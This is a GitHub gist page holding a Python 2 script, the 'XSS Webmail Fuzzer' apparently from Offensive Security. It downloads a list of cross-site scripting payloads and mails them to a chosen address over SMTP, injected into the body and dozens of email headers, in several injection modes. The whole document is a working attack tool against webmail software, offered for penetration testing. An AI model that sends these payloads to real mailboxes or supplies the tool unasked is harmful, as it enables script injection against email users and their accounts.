Skip to content

Instantly share code, notes, and snippets.

@nishitm
Created August 14, 2020 07:11
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save nishitm/de5862f4265ca0c4802c3c0d84578d7f to your computer and use it in GitHub Desktop.
Save nishitm/de5862f4265ca0c4802c3c0d84578d7f to your computer and use it in GitHub Desktop.
XSS Webmail Fuzzer script
#!/usr/bin/python
"""
A script for testing webmail systems for cross-site scripting problems
muts / ryujin AT offsec.com v0.3
auth supported plain/ssl/tls
v0.3.2
- Fixed the xssAttacks.xml URL
v0.3.1
- Bugfixes and small changes to better identify injected payloads
- Added interactive mode
- Added list mode
v0.3
- Basic Injection main: Inject in all the main fields (what we have now)
- Basic Injection extras: Inject in all the extras fields
- Pinpoint Injection in a specified field selected by the attacker
- One by One Injection (one mail for each field) in main fields
- One by One Injection (one mail for each field) in extra fields
v0.2
- ID the payload we are sending
- Replay a single payload
- Change the payload text
"""
import smtplib, urllib2, sys, os
from optparse import OptionParser
from xml.dom.minidom import parseString
## Global variables
# ha.ckers.org XSS list
XSSURL = "http://htmlpurifier.org/live/smoketests/xssAttacks.xml"
DEFAULT_XML = "./xssAttacks.xml"
EMAIL_HEADERS = [
"From",
"To",
"Date",
"Subject",
"Body",
"Accept-Language",
"Alternate-Recipient",
"Autoforwarded",
"Autosubmitted",
"Bcc",
"Cc",
"Comments",
"Content-Identifier",
"Content-Return",
"Conversion",
"Conversion-With-Loss",
"DL-Expansion-History",
"Deferred-Delivery",
"Delivery-Date",
"Discarded-X400-IPMS-Extensions",
"Discarded-X400-MTS-Extensions",
"Disclose-Recipients",
"Disposition-Notification-Options",
"Disposition-Notification-To",
"Encoding",
"Encrypted",
"Expires",
"Expiry-Date",
"Generate-Delivery-Report",
"Importance",
"In-Reply-To",
"Incomplete-Copy",
"Keywords",
"Language",
"Latest-Delivery-Time",
"List-Archive",
"List-Help",
"List-ID",
"List-Owner",
"List-Post",
"List-Subscribe",
"List-Unsubscribe",
"Message-Context",
"Message-ID",
"Message-Type",
"Obsoletes",
"Original-Encoded-Information-Types",
"Original-Message-ID",
"Originator-Return-Address",
"PICS-Label",
"Prevent-NonDelivery-Report",
"Priority",
"Received",
"References",
"Reply-By",
"Reply-To",
"Resent-Bcc",
"Resent-Cc",
"Resent-Date",
"Resent-From",
"Resent-Message-ID",
"Resent-Reply-To",
"Resent-Sender",
"Resent-To",
"Return-Path",
"Sender",
"Sensitivity",
"Supersedes",
"X400-Content-Identifier",
"X400-Content-Return",
"X400-Content-Type",
"X400-MTS-Identifier",
"X400-Originator",
"X400-Received",
"X400-Recipients",
"X400-Trace"]
MSG = "From: _FROM_\n"
MSG += "To: _TO_\n"
MSG += "Date: _DATE_\n"
MSG += "Subject: _SUBJECT_\n"
MSG_E = MSG
for h in EMAIL_HEADERS:
if h != "Body":
MSG_E += "%s: _%s_\n" % (h, h.upper())
def fetchXML():
""" Connect to and download XSS cheetsheet"""
print "[+] Fetching last XSS cheetsheet from ha.ckers.org ..."
request = urllib2.Request(XSSURL)
response = urllib2.urlopen(request)
xmldata = response.read()
return xmldata
def parseXML(xmldata):
""" Parses XML fetched from ha.ckers.org and returns two
nice py lists for further processing """
pydata = parseString(xmldata)
names = pydata.getElementsByTagName("name")
codes = pydata.getElementsByTagName("code")
return names, codes
def getTextFromXML(node):
""" Returns text within an XML node """
nodelist = node.childNodes
rc = []
for node in nodelist:
if node.nodeType == node.TEXT_NODE:
rc.append(node.data)
return ''.join(rc)
def craftHeaders(frmemail, dstemail, indexPayload, name , code,
injection, s_header=None):
""" Craft the email-headers on the attacker request """
if injection == "basic_extra":
msg = MSG_E
else:
msg = MSG
if s_header and EMAIL_HEADERS.index(s_header) > 4:
msg += "%s: _%s_\n" % (s_header, s_header.upper())
msg += "Content-type: text/html\n\n"
msg += "_BODY_\n"
# Basic injections = MASS INJECTION, we inject in every field
if injection.find("basic_") != -1:
for header in EMAIL_HEADERS:
h = "_%s_" % header.upper()
msg = msg.replace(h, "Payload-"+str(indexPayload)+"-"+\
name+"-injectedin-"+h+"-"+code)
# In all the other injections we inject into only one single header
else:
h = "_%s_" % s_header.upper()
msg = msg.replace(h, "Payload-"+str(indexPayload)+"-"+\
name+"-injectedin-"+h+"-"+code)
return msg
def tagHeaders(msg, mail_name):
""" Tag all un-fuzzed main headers with payload type/fuzz fields """
for header in EMAIL_HEADERS[0:5]:
h = "_%s_" % header.upper()
msg = msg.replace(h, mail_name)
return msg
def sendMail(name, code, dstemail, frmemail, smtpsrv, conn, username, password,
indexPayload, custompayload, injection, pinpoint_field=None,
interactive=None):
""" Send XSSed email """
# Get text from xml nodes
name = getTextFromXML(name)
code = getTextFromXML(code)
# If we are asked to replace the payload
if custompayload:
code = raw_input("[$] Replace the original payload\n"
"%s\n[$] with:\n" % code)
if injection == "basic_main" or injection == "basic_extra":
msg = craftHeaders(frmemail, dstemail, indexPayload,
name , code, injection)
mail_name = "Payload-"+str(indexPayload)+"-"+name+"-"+injection
msg = tagHeaders(msg, mail_name)
sendData(conn, username, password, frmemail, dstemail, msg,
mail_name)
elif injection == "pinpoint":
msg = craftHeaders(frmemail, dstemail, indexPayload,
name , code, injection, pinpoint_field)
mail_name = "Payload-"+str(indexPayload)+"-"+name+\
"-injectedin-"+pinpoint_field
msg = tagHeaders(msg, mail_name)
sendData(conn, username, password, frmemail, dstemail, msg,
mail_name)
elif injection == "onebyone_main":
for h in EMAIL_HEADERS[0:5]:
msg = craftHeaders(frmemail, dstemail,
indexPayload, name, code, injection,
h)
mail_name = "Payload-"+str(indexPayload)+"-"+name+\
"-injectedin-"+h
msg = tagHeaders(msg, mail_name)
sendData(conn, username, password, frmemail,
dstemail, msg, mail_name)
if interactive:
raw_input("[$] Press Enter to send next email...")
elif injection == "onebyone_extra":
for h in EMAIL_HEADERS[5:]:
msg = craftHeaders(frmemail, dstemail,
indexPayload, name, code, injection,
h)
mail_name = "Payload-"+str(indexPayload)+"-"+name+\
"-injectedin-"+h
msg = tagHeaders(msg, mail_name)
sendData(conn, username, password, frmemail,
dstemail, msg, mail_name)
if interactive:
raw_input("[$] Press Enter to send next email...")
def sendData(conn, username, password, frmemail, dstemail, msg, mail_name):
""" Connect to SMTP Server and Send out our data """
print "[+] Sending email %s" % mail_name
############
if conn == 'ssl':
server = smtplib.SMTP_SSL(smtpsrv)
else:
server = smtplib.SMTP(smtpsrv)
if conn == 'tls':
server.starttls()
if username and password:
server.login(username,password)
#server.set_debuglevel(1)
try:
server.sendmail(frmemail, dstemail, msg)
except Exception, e:
print "[-] Failed to send email:"
print "[*] " + str(e)
server.quit()
def showXSSPaylods(names, codes):
for name, code in zip( names, codes ):
print "[$] Payload %d : %s" %\
(names.index(name), getTextFromXML(name))
def main():
global dstemail, frmemail, smtpsrv, username, password
print "\n##############################################################"
print "###### XSS WebMail Fuzzer - Offensive Security 2018 ######"
print "##############################################################\n"
usage = "%prog -t dest_email -f from_email -s smtpsrv:port [options]"
parser = OptionParser(usage=usage)
parser.add_option("-t", "--to", type="string",
action="store", dest="dstemail",
help="Destination Email Address")
parser.add_option("-f", "--from", type="string",
action="store", dest="frmemail",
help="From Email Address")
parser.add_option("-s", "--smtp", type="string",
action="store", dest="smtpsrv",
help="SMTP Server")
parser.add_option("-c", "--conn", type="string",
action="store", dest="conn",
help="SMTP Connection type (plain,ssl,tls")
parser.add_option("-u", "--user", type="string",
action="store", dest="username",
help="SMTP Username (optional)")
parser.add_option("-p", "--password", type="string",
action="store", dest="password",
help="SMTP Password (optional)")
parser.add_option("-l", "--localfile", type="string",
action="store", dest="filename",
help="Local XML file")
parser.add_option("-r", "--replay", type="int",
action="store", dest="replay",
help="Replay payload number")
parser.add_option("-P", action="store_true", dest="custompayload",
help="Replace default js alert with a custom payload")
parser.add_option("-j", "--injection-type", type="choice",
choices=["basic_main", "basic_extra",
"pinpoint", "onebyone_main",
"onebyone_extra" ],
action="store", dest="injection",
help="Available injection methods:\n" +\
"basic_main, basic_extra, pinpoint, " +\
"onebyone_main, onebyone_extra\n")
parser.add_option("-F", "--injection-field", type="choice",
choices=EMAIL_HEADERS,
action="store", dest="pinpoint_field",
help="This option must be used together with -j in "+\
"to specify the E-Mail header to pinpoint. See the "+\
"EMAIL_HEADERS global variable in the source to " +\
"obtain a list of possible fields")
parser.add_option("-I", action="store_true", dest="interactive",
help="Run onebyone injections in interactive mode")
parser.add_option("-L", action="store_true", dest="listmode",
help="Load XML file and show available XSS payloads")
(options, args) = parser.parse_args()
# Setting default values
conn = "plain"
username = None
password = None
filename = None
replay = None
custompayload = None
injection = None
pinpoint_field = None
interactive = None
listmode = None
# Parsing options
dstemail = options.dstemail
frmemail = options.frmemail
smtpsrv = options.smtpsrv
conn = options.conn
username = options.username
password = options.password
filename = options.filename
replay = options.replay
custompayload = options.custompayload
injection = options.injection
pinpoint_field = options.pinpoint_field
interactive = options.interactive
listmode = options.listmode
if not (dstemail and frmemail and smtpsrv) and not listmode:
print listmode
parser.print_help()
sys.exit()
if injection == "pinpoint" and not pinpoint_field:
parser.print_help()
sys.exit()
elif not injection:
injection = "basic_main"
# If the default file is there using it instead
try:
os.stat(DEFAULT_XML)
filename = DEFAULT_XML
print "[*] Using local xml file..."
except OSError:
pass
# Fetch XML file from the web
if not filename:
xmldata = fetchXML()
# Parse Local XML file
else:
try:
fp = open(filename,"r")
xmldata = fp.read()
except IOError:
print "[-] Could not open file " + filename
sys.exit()
names, codes = parseXML(xmldata)[0], parseXML(xmldata)[1]
if listmode:
showXSSPaylods(names, codes)
sys.exit()
# Replay a single payload
if replay is not None:
print "[+] Replaying payload %d" % replay
name = names[replay]
code = codes[replay]
sendMail(name, code, dstemail, frmemail, smtpsrv, conn,
username, password, replay, custompayload,
injection, pinpoint_field, interactive)
# Play all payloads from the XML list
else:
indexPayload = 0
for name, code in zip( names, codes ):
sendMail(name, code, dstemail, frmemail, smtpsrv, conn,
username, password, indexPayload,
custompayload, injection, pinpoint_field,
interactive)
indexPayload += 1
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment